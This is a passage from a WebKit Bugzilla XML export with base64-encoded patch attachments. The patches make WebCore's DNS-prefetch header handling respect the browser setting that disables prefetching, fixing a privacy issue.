IERvY3VtZW50OjpwYXJzZUROU1ByZWZldGNoQ29udHJvbEhlYWRlcihjb25zdCBTdHJpbmcmIGRu
c1ByZWZldGNoQ29udHJvbCkKIHsKLSAgICBpZiAoZXF1YWxMZXR0ZXJzSWdub3JpbmdBU0NJSUNh
c2UoZG5zUHJlZmV0Y2hDb250cm9sLCAib24iKSAmJiAhbV9oYXZlRXhwbGljaXRseURpc2FibGVk
RE5TUHJlZmV0Y2gpIHsKLSAgICAgICAgbV9pc0ROU1ByZWZldGNoRW5hYmxlZCA9IHRydWU7Cisg
ICAgaWYgKCFzZXR0aW5ncygpLmRuc1ByZWZldGNoaW5nRW5hYmxlZCgpKQorICAgICAgICByZXR1
cm47CisKKyAgICAvLyBsZXQgdGhlIHBhZ2Ugb25seSBkaXNhYmxlIHByZWZldGNoaW5nLCBub3Qg
ZW5hYmxlIGl0CisgICAgaWYgKGVxdWFsTGV0dGVyc0lnbm9yaW5nQVNDSUlDYXNlKGRuc1ByZWZl
dGNoQ29udHJvbCwgIm9uIikpCiAgICAgICAgIHJldHVybjsKLSAgICB9CiAKICAgICBtX2lzRE5T
UHJlZmV0Y2hFbmFibGVkID0gZmFsc2U7Ci0gICAgbV9oYXZlRXhwbGljaXRseURpc2FibGVkRE5T
UHJlZmV0Y2ggPSB0cnVlOwogfQogCiB2b2lkIERvY3VtZW50OjphZGRDb25zb2xlTWVzc2FnZShz
dGQ6OnVuaXF1ZV9wdHI8SW5zcGVjdG9yOjpDb25zb2xlTWVzc2FnZT4mJiBjb25zb2xlTWVzc2Fn
ZSkKZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJDb3JlL2RvbS9Eb2N1bWVudC5oIGIvU291cmNlL1dl
YkNvcmUvZG9tL0RvY3VtZW50LmgKaW5kZXggOTY5ODBkMDBjZC4uOTI2NjNjZjE1OCAxMDA2NDQK
LS0tIGEvU291cmNlL1dlYkNvcmUvZG9tL0RvY3VtZW50LmgKKysrIGIvU291cmNlL1dlYkNvcmUv
ZG9tL0RvY3VtZW50LmgKQEAgLTE4NDIsNyArMTg0Miw2IEBAIHByaXZhdGU6CiAKICAgICBib29s
IG1fZ290b0FuY2hvck5lZWRlZEFmdGVyU3R5bGVzaGVldHNMb2FkIHsgZmFsc2UgfTsKICAgICBi
b29sIG1faXNETlNQcmVmZXRjaEVuYWJsZWQgeyBmYWxzZSB9OwotICAgIGJvb2wgbV9oYXZlRXhw
bGljaXRseURpc2FibGVkRE5TUHJlZmV0Y2ggeyBmYWxzZSB9OwogCiAgICAgYm9vbCBtX2FjY2Vz
c0tleU1hcFZhbGlkIHsgZmFsc2UgfTsKICAgICBib29sIG1faXNTeW50aGVzaXplZCB7IGZhbHNl
IH07Cg==
</data>
<flag name="review"
          id="353205"
          type_id="1"
          status="-"
          setter="mcatanzaro"
    />
    <flag name="commit-queue"
          id="353206"
          type_id="3"
          status="-"
          setter="mcatanzaro"
    />
          </attachment>
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>334626</attachid>
            <date>2018-02-26 10:19:53 -0800</date>
            <delta_ts>2018-02-27 00:33:15 -0800</delta_ts>
            <desc>proposed patch ]I[</desc>
            <filename>wk.patch</filename>
            <type>text/plain</type>
            <size>1234</size>
            <attacher name="Milan Crha">mcrha</attacher>
            
              <data encoding="base64">ZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJDb3JlL0NoYW5nZUxvZyBiL1NvdXJjZS9XZWJDb3JlL0No
YW5nZUxvZwppbmRleCA3ZmRlZDEyY2EwLi43MzVhMWIxNjk1IDEwMDY0NAotLS0gYS9Tb3VyY2Uv
V2ViQ29yZS9DaGFuZ2VMb2cKKysrIGIvU291cmNlL1dlYkNvcmUvQ2hhbmdlTG9nCkBAIC0xLDMg
KzEsMTMgQEAKKzIwMTgtMDItMjYgIE1pbGFuIENyaGEgIDxtY3JoYUByZWRoYXQuY29tPgorCisg
ICAgICAgIFBvdGVudGlhbCBwcml2YWN5IGlzc3VlOiBETlMgcHJlZmV0Y2hpbmcgY2FuIGJlIHJl
LWVuYWJsZWQKKyAgICAgICAgaHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lk
PTE4MjkyNAorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9EWSAoT09QUyEpLgorCisgICAgICAg
ICogZG9tL0RvY3VtZW50LmNwcDoKKyAgICAgICAgKFdlYkNvcmU6OkRvY3VtZW50OjpwYXJzZURO
U1ByZWZldGNoQ29udHJvbEhlYWRlcik6CisKIDIwMTgtMDItMjIgIFl1c3VrZSBTdXp1a2kgIDx1
dGF0YW5lLnRlYUBnbWFpbC5jb20+CiAKICAgICAgICAgUmVtb3ZlIGN1cnJlbnRUaW1lKCkgLyBj
dXJyZW50VGltZU1TKCkKZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJDb3JlL2RvbS9Eb2N1bWVudC5j
cHAgYi9Tb3VyY2UvV2ViQ29yZS9kb20vRG9jdW1lbnQuY3BwCmluZGV4IDBhNWExZGY2MWEuLmE4
NGQwYTUyYWMgMTAwNjQ0Ci0tLSBhL1NvdXJjZS9XZWJDb3JlL2RvbS9Eb2N1bWVudC5jcHAKKysr
IGIvU291cmNlL1dlYkNvcmUvZG9tL0RvY3VtZW50LmNwcApAQCAtNTc2NSw2ICs1NzY1LDEwIEBA
IHZvaWQgRG9jdW1lbnQ6OmluaXRETlNQcmVmZXRjaCgpCiAKIHZvaWQgRG9jdW1lbnQ6OnBhcnNl
RE5TUHJlZmV0Y2hDb250cm9sSGVhZGVyKGNvbnN0IFN0cmluZyYgZG5zUHJlZmV0Y2hDb250cm9s
KQogeworICAgIGlmICghc2V0dGluZ3MoKS5kbnNQcmVmZXRjaGluZ0VuYWJsZWQoKSkKKyAgICAg
ICAgcmV0dXJuOworCisgICAgLy8gUHJlZmV0Y2ggcmVxdWVzdGVkIGJ5IHRoZSB3ZWJzaXRlIEFO
RCBub3QgcHJldmlvdXNseSB0dXJuZWQgb2ZmIGJ5IHRoZSB3ZWJzaXRlCiAgICAgaWYgKGVxdWFs
TGV0dGVyc0lnbm9yaW5nQVNDSUlDYXNlKGRuc1ByZWZldGNoQ29udHJvbCwgIm9uIikgJiYgIW1f
aGF2ZUV4cGxpY2l0bHlEaXNhYmxlZEROU1ByZWZldGNoKSB7CiAgICAgICAgIG1faXNETlNQcmVm
ZXRjaEVuYWJsZWQgPSB0cnVlOwogICAgICAgICByZXR1cm47Cg==
</data>
<flag name="commit-queue"
          id="353367"
          type_id="3"
          status="-"
          setter="mcatanzaro"
    />
          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>334678</attachid>
            <date>2018-02-27 00:32:53 -0800</date>
            <delta_ts>2018-02-27 08:39:16 -0800</delta_ts>
            <desc>proposed patch IV</desc>
            <filename>wk.patch</filename>
            <type>text/plain</type>
            <size>1146</size>
            <attacher name="Milan Crha">mcrha</attacher>
            
              <data encoding="base64">ZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJDb3JlL0NoYW5nZUxvZyBiL1NvdXJjZS9XZWJDb3JlL0No
YW5nZUxvZwppbmRleCA3ZmRlZDEyY2EwLi43MzVhMWIxNjk1IDEwMDY0NAotLS0gYS9Tb3VyY2Uv
V2ViQ29yZS9DaGFuZ2VMb2cKKysrIGIvU291cmNlL1dlYkNvcmUvQ2hhbmdlTG9nCkBAIC0xLDMg
KzEsMTMgQEAKKzIwMTgtMDItMjYgIE1pbGFuIENyaGEgIDxtY3JoYUByZWRoYXQuY29tPgorCisg
ICAgICAgIFBvdGVudGlhbCBwcml2YWN5IGlzc3VlOiBETlMgcHJlZmV0Y2hpbmcgY2FuIGJlIHJl
LWVuYWJsZWQKKyAgICAgICAgaHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lk
PTE4MjkyNAorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9EWSAoT09QUyEpLgorCisgICAgICAg
ICogZG9tL0RvY3VtZW50LmNwcDoKKyAgICAgICAgKFdlYkNvcmU6OkRvY3VtZW50OjpwYXJzZURO
U1ByZWZldGNoQ29udHJvbEhlYWRlcik6CisKIDIwMTgtMDItMjIgIFl1c3VrZSBTdXp1a2kgIDx1
dGF0YW5lLnRlYUBnbWFpbC5jb20+CiAKICAgICAgICAgUmVtb3ZlIGN1cnJlbnRUaW1lKCkgLyBj
dXJyZW50VGltZU1TKCkKZGlmZiAtLWdpdCBhL1NvdXJjZS9XZWJDb3JlL2RvbS9Eb2N1bWVudC5j
cHAgYi9Tb3VyY2UvV2ViQ29yZS9kb20vRG9jdW1lbnQuY3BwCmluZGV4IDBhNWExZGY2MWEuLjcw
YmU4ODkwYWUgMTAwNjQ0Ci0tLSBhL1NvdXJjZS9XZWJDb3JlL2RvbS9Eb2N1bWVudC5jcHAKKysr
IGIvU291cmNlL1dlYkNvcmUvZG9tL0RvY3VtZW50LmNwcApAQCAtNTc2NSw2ICs1NzY1LDkgQEAg
dm9pZCBEb2N1bWVudDo6aW5pdEROU1ByZWZldGNoKCkKIAogdm9pZCBEb2N1bWVudDo6cGFyc2VE
TlNQcmVmZXRjaENvbnRyb2xIZWFkZXIoY29uc3QgU3RyaW5nJiBkbnNQcmVmZXRjaENvbnRyb2wp
CiB7CisgICAgaWYgKCFzZXR0aW5ncygpLmRuc1ByZWZldGNoaW5nRW5hYmxlZCgpKQorICAgICAg
ICByZXR1cm47CisKICAgICBpZiAoZXF1YWxMZXR0ZXJzSWdub3JpbmdBU0NJSUNhc2UoZG5zUHJl
ZmV0Y2hDb250cm9sLCAib24iKSAmJiAhbV9oYXZlRXhwbGljaXRseURpc2FibGVkRE5TUHJlZmV0
Y2gpIHsKICAgICAgICAgbV9pc0ROU1ByZWZldGNoRW5hYmxlZCA9IHRydWU7CiAgICAgICAgIHJl
dHVybjsK
</data>

          </attachment>
      

    </bug>

</bugzilla>